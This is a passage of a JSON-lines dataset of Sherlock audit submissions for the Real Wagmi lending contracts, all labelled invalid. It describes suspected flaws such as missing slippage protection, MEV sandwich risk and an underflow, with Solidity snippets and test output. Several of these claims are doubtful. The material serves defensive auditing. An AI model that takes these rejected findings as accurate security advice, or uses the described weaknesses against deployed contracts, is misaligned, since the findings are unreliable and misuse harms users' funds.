takeOverDebt(\n int256 collateralBalance\n \n ) external view returns (uint256 minPayment) {\n (collateralBalance >= 0).revertError(ErrLib.ErrorCode.FORBIDDEN); //> 10\n minPayment = (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;\n }\n}\n```\nTest file\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\nimport \"forge-std/Test.sol\";\nimport { MOCK } from \"contracts/MOCK.sol\";\n\ncontract MockTest is Test {\n MOCK mock;\n\n function setUp() public {\n mock = new MOCK();\n }\n\n function test_takeOverDebt(int256 collateralBalance\n // ,uint256 collateralAmt\n ) public {\n vm.assume(collateralBalance > 0);\n mock.takeOverDebt(collateralBalance);\n }\n}\n```\n\n```\nRunning 1 test for test/TestMock.t.sol:MockTest\n[FAIL. Reason: RevertErrorCode(4) Counterexample: calldata=0x0xd5f260a20000000000000000000000000000000000000000000000000000000000000001, args=[1]] test_takeOverDebt(int256) (runs: 0, μ: 0, ~: 0)\nTraces:\n [148065] MockTest::setUp()\n ├─ [93541] → new MOCK@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f\n │ └─ ← 467 bytes of code\n └─ ← ()\n\n [8294] MockTest::test_takeOverDebt(1)\n ├─ [0] VM::assume(true) [staticcall]\n │ └─ ← ()\n ├─ [367] MOCK::takeOverDebt(1) [staticcall]\n │ └─ ← \"RevertErrorCode(4)\"\n └─ ← \"RevertErrorCode(4)\"\n\nTest result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 824.91µs\n\nRan 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)\n\n```\n\n\n## Tool used\nManual Review and Foundry\n\n## Recommendation\n```solidity\n- minPayment = (uint256(-collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;\n+ minPayment = (uint256(collateralBalance) / Constants.COLLATERAL_BALANCE_PRECISION) + 1;\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/126.md"}} +{"title":"Wrong uniswap v3 amountOut cause user attacked by MEV and lose funds","severity":"info","body":"Silly Chili Crab\n\nhigh\n\n# Wrong uniswap v3 amountOut cause user attacked by MEV and lose funds\n## Summary\n\nuniswap v3 amountOutMinimum is set to 0 in `v3SwapExactInputParams`, it means no slippage protection could cause user loss funds. \n\n\n## Vulnerability Detail\n\nWhen user borrow token from protocol, the call trace is below:\n\n`LiquidityBorrowingManager#borrow -> LiquidityBorrowingManager#_precalculateBorrowing -> LiquidityBorrowingManager#_v3SwapExactInput -> IUniswapV3Pool#swap`, the `amountOutMinimum` parameter is set to 0 here which could attacked by MEV and lose funds. \n\n\n## Impact\n\nUser could lose funds when borrow tokens from protocol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L886-L894\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L204-L226\n\n## Tool used\n\nvscode, Manual Review\n\n## Recommendation\n\nSet `amountOutMinimum` by user input or set a reasonable value here.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/117.md"}} +{"title":"Unuseful external swap when trying to execute `repay()` function by liquidator/lender","severity":"info","body":"Sneaky Orchid Lemur\n\nmedium\n\n# Unuseful external swap when trying to execute `repay()` function by liquidator/lender\n## Summary\n\nThe protocol has two ways to perform a swap (Uniswap and external swap), but the external swap option will throw an error every time the liquidator/lender try to repay a position.\n\n## Vulnerability Detail\n\nThe trader has two options to exchange their tokens: they can use Uniswap or a third-party exchange. The regular flow is that a borrower call `borrow()` and if for any reason the position needs to be liquidated, they (lender/liquidator) has the same options to exchange the tokens.\n\nBut, the external swap cannot be used when they call the `repay()` function, it never worked, because the calculation of `amountOut` when subtracting liquidity is poorly designed.\n\n```solidity\namountOut = _getBalance(tokenOut) - balanceOutBefore;\n```\n[contracts/abstract/ApproveSwapAndPay.sol#169](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L169)\n\n`balanceOutBefore` will always be greater than `_getBalance(tokenOut)` because the balance goes down when the swap is successful. If this is attempted it will throw an error, as the result will always be negative and `amountOut` is declared as `uint256`.\n\n\n\n\n## Impact\n\n* External swap option (i.e. 1inch, Sushiswap) is never available. The main functionality is broken.\n* Also, anyone trying to use an external exchange loses the gas used.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L169\n\n## Tool used\n\n* Manual Review\n* Foundry\n\n## Recommendation\nEnsure correct calculation of `amountOut` within the `_patchAmountsAndCallSwap()` function. When any user calls the `borrow()` and `repay()` functions for an external swap.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/113.md"}} +{"title":"Incomplete Token Transfer in Emergency Loan Closure","severity":"info","body":"Muscular Flaxen Badger\n\nmedium\n\n# Incomplete Token Transfer in Emergency Loan Closure\n## Summary\nDuring the emergency loan closure process, the function might not handle the transfer of borrowing.saleToken to the caller, potentially leaving assets behind.\n\n## Vulnerability Detail\nIn the repay function, during the emergency loan closure, the system is set to transfer the borrowing.holdToken and the related fees to the caller using the Vault(VAULT_ADDRESS).transferToken function. However, there is no evident logic to handle the transfer of the borrowing.saleToken.\n\nIf the intention was to transfer both the borrowing.holdToken and the borrowing.saleToken during the emergency closure, this could mean the borrowing.saleToken would stay within the contract and not be accessible to the caller, thus leading to potential fund lockup.\n\n## Impact\n1. Users may not be able to retrieve their full expected value during emergency loan closures.\n2. The protocol could unintentionally hold tokens that should have been returned to users.\n\n## Code Snippet\n[[Link to the repository](https://github.com/YourRepoLinkHere)](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L620C9-L626C92)\n\n## Tool used\nManual Review\n\n## Recommendation\nEnsure that the transfer mechanism handles all relevant tokens (both borrowing.holdToken and borrowing.saleToken) as intended.\nReview the function logic to determine whether there are other areas where tokens might be left unhandled, and implement appropriate transfer or handling procedures.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/108.md"}} +{"title":"Rounding to Zero Prevents Fee Collection for Lesser Amounts","severity":"info","body":"Muscular Flaxen Badger\n\nmedium\n\n# Rounding to Zero Prevents Fee Collection for Lesser Amounts\n## Summary\nPotential issue with rounding down could inhibit fee collection for token amounts less than Constants.COLLATERAL_BALANCE_PRECISION.\n\n## Vulnerability Detail\nThe collectProtocol function, designed to enable the owner to gather protocol fees for multiple tokens, uses a division mechanism that can result in amounts rounding down to zero. Specifically, if platformsFeesInfo[token] is less than Constants.COLLATERAL_BALANCE_PRECISION, the resultant amount becomes zero due to the way integer division is designed in \n\nIn practice, this means that if any token's fee amount is smaller than Constants.COLLATERAL_BALANCE_PRECISION, that fee will not be transferred out, effectively locking it within the protocol. Over time and with many tokens, these amounts might accumulate, but will remain inaccessible.\n\n`uint256 amount = platformsFeesInfo[token] / Constants.COLLATERAL_BALANCE_PRECISION;`\nThis condition can result in funds being stuck in the protocol if the token is no longer used, as the fee for that token would never exceed the precision value.\n\n## Impact\nFunds Lockup: Small fee amounts below the Constants.COLLATERAL_BALANCE_PRECISION threshold could get stuck in the protocol, leading to accumulative losses over time.\n\nReduced Fee Income: The protocol's owner might not receive the total amount of fees they expect due to rounding down. As a result, the effective income derived from fees is diminished.\n\nMisrepresentation: Users or stakeholders might be under the impression that all fees are being collected as intended. This rounding down issue could be seen as a misrepresentation or oversight of the fee collection mechanics.\n\nOperational Inefficiency: Over time, as more tokens potentially get stuck in this manner, the complexity of accounting and management might increase. These \"dust\" amounts, though individually small, can add operational challenges when assessing the total assets or liabilities of the protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L186C6-L196C14\n\n## Tool used\nManual Review\n\n## Recommendation\nConsider implementing a mechanism that allows the collection of even small fee amounts without rounding issues.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/107.md"}} +{"title":"Whitelisting Potentially Risky Swap Calls","severity":"info","body":"Muscular Flaxen Badger\n\nmedium\n\n# Whitelisting Potentially Risky Swap Calls\n## Summary:\nThe setSwapCallToWhitelist function could allow risky function selectors to be whitelisted.\n\n## Vulnerability Detail:\nThe setSwapCallToWhitelist function, designed to add or remove swap calls to a whitelist, has restrictions on which addresses and function selectors can be added. Notably, it prohibits adding certain addresses like VAULT_ADDRESS, the current contract's address, and the underlyingPositionManager address. Similarly, it disallows the IERC20.transferFrom.selector.\n\nHowever, the function doesn't prevent adding other potentially dangerous function selectors like approve and increaseAllowance. This could be exploited by an adversary, especially if the whitelisted call leads to unintended consequences when interacting with other contracts.\n\n## Impact:\nIf a malicious or incorrect function selector is whitelisted, it may enable attacks or unexpected behaviors during swap operations. This could lead to loss of funds, unintended transfers, or manipulation of contract states.\n\n## Code Snippet:\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L165C3-L175C6\n\n`function setSwapCallToWhitelist(\n address swapTarget,\n bytes4 funcSelector,\n bool isAllowed\n) external onlyOwner {\n (swapTarget == VAULT_ADDRESS ||\n swapTarget == address(this) ||\n swapTarget == address(underlyingPositionManager) ||\n funcSelector == IERC20.transferFrom.selector).revertError(ErrLib.ErrorCode.FORBIDDEN);\n whitelistedCall[swapTarget][funcSelector] = isAllowed;\n}`\n\n## Tool used:\nManual Review\n\n## Recommendation:\nTo enhance security and reduce potential risks:\n\n1. Explicitly check and prohibit other potentially risky function selectors, including approve, increaseAllowance, and any other relevant selectors.\n2. Consider creating a list of approved function selectors instead of using a blacklist approach. This way, only known-safe selectors can be whitelisted.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/106.md"}} +{"title":"The mismatch between expected and hardcoded slippage will cause the protocol to frequently revert on `borrow` and `repay`, disrupting normal work","severity":"info","body":"Petite Canvas Sparrow\n\nhigh\n\n# The mismatch between expected and hardcoded slippage will cause the protocol to frequently revert on `borrow` and `repay`, disrupting normal work\n## Summary\nThe protocol has checks whether removing/adding liquidity/swapping matches the expected value (to prevent excessive slippage). However these checks are implemented not within those particular uniswap (or other AMM if integrated in the future - I will use example of uniswap here) interactions, but *post* them, while those uniswap interactions do not include proper slippage protection themselves. Due to this, the protocol receives contradictory requests - the swaps are allowed to have slippage, but later on there is a check if there was in fact none, or limited slippage. As slippage is a common thing, the core operations `borrow` and `repay` may frequently revert. In worst case, the protocol will be hardly usable during times of market turbulences.\n\n## Vulnerability Detail\nWhen interacting with Uniswapv3, to protect against excessive slippage, users may choose to set parameters of functions such as increasing/decreasing liquidity or swapping - minimum amount and deadline. But these checks have to be used within the function call arguments, so the uniswap processes these requests accordingly. Setting them to none has a great chance that these calls will be processed by uniswap as per the arguments (so with any slippage) and unfavourable operation will return less than expected funds back. If the check is implemented later on, the transaction will revert. Especially during high volatility periods, users might have to call borrow/repay multiple time to even succeed.\n\n## Impact\nUsers may lose funds, because they will not be able to repay on time (so get liquidated), or not be able to liquidate someone on time (lose liquidation bonus), or borrow - in short, use protocol as they should be at all.\nFrequently failing protocol may discourage users to use it at all, impairing the whole point of existence of the protocol.\n\n## Code Snippet\n1. `Borrow`: At [borrow](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465), in [_precalculateBorrowing](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L833), in [_extractLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L209) and its call to [_decreaseLiquidity ](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L349) \n\n```solidity\n function _decreaseLiquidity(uint256 tokenId, uint128 liquidity) private {\n // Call the decreaseLiquidity function of underlyingPositionManager contract\n // with DecreaseLiquidityParams struct as argument\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n```\n\nAlso further the `saleToken` is swapped with [amountOutMinimum equal to zero](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L875-L893).\n\n\n```solidity\n if (params.externalSwap.swapTarget != address(0)) {\n // Call the external swap function and update the hold token balance in the cache\n cache.holdTokenBalance += _patchAmountsAndCallSwap(\n params.saleToken,\n params.holdToken,\n params.externalSwap,\n saleTokenBalance,\n 0\n );\n } else {\n // Call the internal v3SwapExactInput function and update the hold token balance in the cache\n cache.holdTokenBalance += _v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.internalSwapPoolfee,\n tokenIn: params.saleToken,\n tokenOut: params.holdToken,\n amountIn: saleTokenBalance,\n amountOutMinimum: 0\n })\n```\n\nAs the swap is performed without any minimal returned value requirement, it will be processed accordingly to it, but further [this line checks the slippage](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L899-L901)\n\n```solidity\n if (cache.holdTokenBalance < params.minHoldTokenOut) {\n revert TooLittleReceivedError(params.minHoldTokenOut, cache.holdTokenBalance);\n }\n```\n\n\n\n2. `Repay`: At [repay](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) in operation [_restoreLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223) and later in [_increaseLiquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L386)\n\nEspecially stargin from line 398:\n```solidity\n (uint128 restoredLiquidity, , ) = underlyingPositionManager.increaseLiquidity(\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n```\nThe liquidity is added without any slippage checks (no minimum amount and no timestamp requirements which is prone to tx reordering) but later if it doesnt meet requirements, [transaction reverts](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L410C2-L417C45).\n\n```solidity\n if (restoredLiquidity < loan.liquidity) {\n // Get the balance of holdToken and saleToken\n (uint256 holdTokentBalance, uint256 saleTokenBalance) = _getPairBalance(\n holdToken,\n saleToken\n );\n\n revert InvalidRestoredLiquidity(\n[...]\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe slippage requirement should be enforced on uniswap call level instead of being separate checks after those calls.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/099.md"}} +{"title":"Different ERC20 has different decimal","severity":"info","body":"Mean Plum Locust\n\nfalse\n\n# Different ERC20 has different decimal\n\n\nHere Constants.COLLATERAL_BALANCE_PRECISION is 18 decimal.\n\nuint256 amount = platformsFeesInfo[token] / Constants.COLLATERAL_BALANCE_PRECISION;\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L188\n\nwe are using different ERC20 tokens and they have different precision so it will be a issue.\n\nIMPACT: HIGH","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/096.md"}} +{"title":"Verifying the 0 address.","severity":"info","body":"Mean Plum Locust\n\nfalse\n\n# Verifying the 0 address.\n\n\n\n\nVerifying address in the constructor.\n\nIMPACT: HIGH\n\n\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L145\n\n constructor(\n address _underlyingPositionManagerAddress,\n address _underlyingQuoterV2,\n address _underlyingV3Factory,\n bytes32 _underlyingV3PoolInitCodeHash\n )\n LiquidityManager(\n _underlyingPositionManagerAddress,\n _underlyingQuoterV2,\n _underlyingV3Factory,\n _underlyingV3PoolInitCodeHash\n )\n {}\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L78\n constructor(\n address _underlyingPositionManagerAddress,\n address _underlyingQuoterV2,\n address _underlyingV3Factory,\n bytes32 _underlyingV3PoolInitCodeHash\n ) ApproveSwapAndPay(_underlyingV3Factory, _underlyingV3PoolInitCodeHash) {\n // Assign the underlying position manager contract address\n underlyingPositionManager = INonfungiblePositionManager(_underlyingPositionManagerAddress);\n // Assign the underlying quoterV2 contract address\n underlyingQuoterV2 = IQuoterV2(_underlyingQuoterV2);\n // Generate a unique salt for the new Vault contract\n bytes32 salt = keccak256(abi.encode(block.timestamp, address(this)));\n // Deploy a new Vault contract using the generated salt and assign its address to VAULT_ADDRESS\n VAULT_ADDRESS = address(new Vault{ salt: salt }());\n }\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L58\n\n constructor(\n address _UNDERLYING_V3_FACTORY_ADDRESS,\n bytes32 _UNDERLYING_V3_POOL_INIT_CODE_HASH\n ) {\n UNDERLYING_V3_FACTORY_ADDRESS = _UNDERLYING_V3_FACTORY_ADDRESS;\n UNDERLYING_V3_POOL_INIT_CODE_HASH = _UNDERLYING_V3_POOL_INIT_CODE_HASH;\n }\n\n\nAS we can see we are not verifying the address here in the constructor. This will cause the error.\n\n\nTOOLUSED: Manual.\n\nRecommendation: check address 0 in the constructor.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/094.md"}} +{"title":"Data manipulated using MEV bots","severity":"info","body":"Mean Plum Locust\n\nfalse\n\n# Data manipulated using MEV bots\n## Summary\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nLiquidityManager, the functions use UniswapV3.slot0 to get the value of sqrtPriceX96, which is used to perform the swap. However, the sqrtPriceX96 is pulled from Uniswap.slot0, which is the most recent data point and can be manipulated easily via MEV bots and Flashloans with sandwich attacks; which can cause the loss of funds when interacting with Uniswap.swap function.\n\nIMPACT: HIGH\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L341C38-L341C52\n\n\nManual Analysis\n\n\n\nUse the TWAP function to get the value of sqrtPriceX96.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/092.md"}} +{"title":"Rollup address aliasing blocks users from repaying/topping up during sequencer downtime","severity":"info","body":"Ancient Malachite Jay\n\nmedium\n\n# Rollup address aliasing blocks users from repaying/topping up during sequencer downtime\n## Summary\n\nArbitrum and other popular rollups [alias addresses](https://docs.arbitrum.io/arbos/l1-to-l2-messaging#address-aliasing) when conducting L1 -> L2 transactions. These type of transactions are essential when trying to complete an L2 transaction when the sequencer is down. Due the borrower restriction on both increaseCollateralBalance and repay it is impossible to do either if the sequencer goes down. On the other hand the user can still be liquidated by anyone else, causing unfair loss to the user. \n\n## Vulnerability Detail\n\n[LiquidityBorrowingManager.sol#L559-L561](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L559-L561)\n\n (msg.sender != borrowing.borrower && collateralBalance >= 0).revertError(\n ErrLib.ErrorCode.INVALID_CALLER\n );\n\nFirst we consider repay. This will revert if msg.sender is not the borrower and the collateralBalance is positive. In the event of sequencer downtime, their address will be aliased and the transaction will revert if they are still solvent.\n\n[LiquidityBorrowingManager.sol#L371-L376](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L371-L376)\n\n function increaseCollateralBalance(bytes32 borrowingKey, uint256 collateralAmt) external {\n BorrowingInfo storage borrowing = borrowingsInfo[borrowingKey];\n // Ensure that the borrowed position exists and the borrower is the message sender\n (borrowing.borrowedAmount == 0 || borrowing.borrower != address(msg.sender)).revertError(\n ErrLib.ErrorCode.INVALID_BORROWING_KEY\n );\n\nNext we look at increaseCollateralBalance. This has the exact same issue, blocking the user from either topping up their position or safely exiting their position. Once their collateral is used up, they will be unfairly liquidated causing loss to the borrower.\n\n## Impact\n\nDuring sequencer downtime, borrowers will be unfairly liquidated\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L532-L674](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532-L674)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen checking msg.sender in increaseCollateralBalance and repay, check both borrower and aliased borrower address. This allows borrowers to always increase their collateral or repay their loan even when the sequencer is down and their address is aliased.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/077.md"}} +{"title":"Not using slippage parameter or deadline while swapping on UniswapV3","severity":"info","body":"Bubbly Chiffon Yeti\n\nhigh\n\n# Not using slippage parameter or deadline while swapping on UniswapV3\n## Summary\n\nWhile making a swap on UniswapV3 the caller should use the slippage parameter amountOutMinimum and deadline parameter to avoid losing funds.\n\n## Vulnerability Detail\n\n[v3SwapExactInputParams()](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L886-L892) in contract does not use the slippage parameter [amountOutMinimum](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L892) nor Deadline.\n\namountOutMinimum is used to specify the minimum amount of tokens the caller wants to be returned from a swap. Using amountOutMinimum = 0 tells the swap that the caller will accept a minimum amount of 0 output tokens from the swap, opening up the user to a catastrophic loss of funds via [MEV bot sandwich attacks](https://medium.com/coinmonks/defi-sandwich-attack-explain-776f6f43b2fd).\n\nDeadline lets the caller specify a deadline parameter that enforces a time limit by which the transaction must be executed. Without a deadline parameter, the transaction may sit in the mempool and be executed at a much later time potentially resulting in a worse price for the user.\n\n## Impact\n\nLoss of funds and not getting the correct amount of tokens in return.\n\n## Code Snippet\n\n` v3SwapExactInputParams({\n fee: params.internalSwapPoolfee,\n tokenIn: params.saleToken,\n tokenOut: params.holdToken,\n amountIn: saleTokenBalance,\n amountOutMinimum: 0\n })`\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse parameters `amountOutMinimum `and `deadline `correctly to avoid loss of funds.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/075.md"}} +{"title":"Users cannot swap token1 for token0","severity":"info","body":"Mammoth Berry Ostrich\n\nmedium\n\n# Users cannot swap token1 for token0\n## Summary\nThe function only helps pay for amount0delta(token0) swaps. It does not help a user pay or rather find the change in token1 balance resulting from the swap.\n## Vulnerability Detail\nThe function reverts if the amount entered is smaller or equals to 0 for amount0Delta and amount1Delta L247. The probelm is when in order to make payments(swap) for amount1Delta(token1) the amount for amount0Delta must be smaller than 0 in the below code snippet\n## Impact\nA user can only swap for token0 and not token1\n## Code Snippet\n uint256 amountToPay = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta);\n _pay(tokenIn, address(this), msg.sender, amountToPay);\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L242C1-L258C6\n## Tool used\n\nManual Review\n\n## Recommendation\nInclude && in the if statement for amount1delta","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/074.md"}} +{"title":"Possible underflow in ApproveSwapAndPay._v3SwapExactInput() when calculating `amountOut` resulting in an enormous value.","severity":"info","body":"Ancient Daffodil Caribou\n\nhigh\n\n# Possible underflow in ApproveSwapAndPay._v3SwapExactInput() when calculating `amountOut` resulting in an enormous value.\n## Summary\ndoing uint256 = uint256(-(int256)), if int256 is a positive value, there will be an underflow.\n\n## Vulnerability Detail\nThe issue is in ApproveSwapAndPay._v3SwapExactInput() when calculating the actual amount of output tokens received (`amountOut`), the formular below is used \n```solidity\n// Calculate the actual amount of output tokens received\n amountOut = uint256(-(zeroForTokenIn ? amount1Delta : amount0Delta))\n```\n\nnow usage of `amount1Delta` or `amount0Delta` depends on the value of bool `zeroForTokenIn`. \n\nBUT `amount1Delta` & `amount0Delta` will never be a value < or == 0, due to this check in ApproveSwapAndPay.uniswapV3SwapCallback() see [here](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L247). \n\nSince swaps entirely within 0-liquidity regions are not supported, `amount1Delta` & `amount0Delta` will be a positive value and the calculation of the actual amount of output tokens received will likely result in an underflow that will have an enormous value as `amountOut`\n\nHere is a brief contract to test out my hypothesis, quickly copy and paste it on remix.\n```solidity\n// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.8.21;\n\n/**\n * @title Hypothesis\n * @dev test out scenarios i suspect\n * @custom:dev-run-script ./scripts/deploy_with_ethers.ts\n */\n\n\nimport \"hardhat/console.sol\";\n\n\ncontract hypothesis {\n //state Var\n \n\n //functions\n\n function testSth1(int256 _value) public pure{\n uint256 amountOut = uint256(-(_value));\n console.log(\"Amount out is: \", amountOut);\n }\n\n}\n```\n\nNow call function testSth1() with a positive value, lets say 1. You'll see 115792089237316195423570985008687907853269984665640564039457584007913129639935 as `amountOut`\n\n```solidity\nconsole.log:\nAmount out is: 115792089237316195423570985008687907853269984665640564039457584007913129639935\n```\n\n## Impact\ncalculation for `amountOut` will result in an enormous value.\nSwaps will magically produce tokens out of thin air.\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nsince `amount1Delta` & `amount0Delta` will never be a value < or == 0, remove the `-` sign when casting from int256 to uint256.\n\n```solidity\n- amountOut = uint256(-(zeroForTokenIn ? amount1Delta : amount0Delta))\n\n+ amountOut = uint256((zeroForTokenIn ? amount1Delta : amount0Delta))\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/071.md"}} +{"title":"LiquidityBorrowingManager.sol - missing platform payments","severity":"info","body":"Quiet Sage Wren\n\nhigh\n\n# LiquidityBorrowingManager.sol - missing platform payments\n## Summary\nThe entire service offered by the smart contract includes not only fees owed for borrowing, but also platform fees, which are paid to the protocol. There is a flaw when integrating the fee collection, since the protocol fees are never actually sent to the protocol, before they get subtracted from a user's owed fees.\n\n## Vulnerability Detail\nThe function ``_pickUpPlatformFees()`` is responsible for collecting and tracking the protocol fees in a storage variable. Once the fees are picked up, whenever the function is invoked the value is subtracted from the user's fees to reflect only the fees they owe for they position. The problem arises from the fact that these values are never actually sent to the vault or anywhere, every time a payment is made, it is only after the protocol fees have been subtracted, essentially getting left unpaid. \nThis is an even bigger problem, accounting for the fact that there is a function responsible for collecting these fees by the owner, meaning that tokens can be withdrawn from the vault, which have never been sent to it, potentially DoS-ing any larger repayment attempts, since there would not be enough funds to cover for the user withdrawal.\nA potential scenario could be:\n1. There are a lot of users that accumulate protocol fees, which never get paid.\n2. The owner withdraws set fees, the transaction succeeds since there are enough tokens in the vault due to the high user count.\n3. A whale user, or in the worse case even a regular user, tries to repay a larger amount, but since the owner withdrew a part of the available tokens in the vault, the transaction would fail, potentially leading to a liquidation scenario.\n\n## Impact\nProtocol insolvency, DoS, loss of user funds and bad UX\n\n## Code 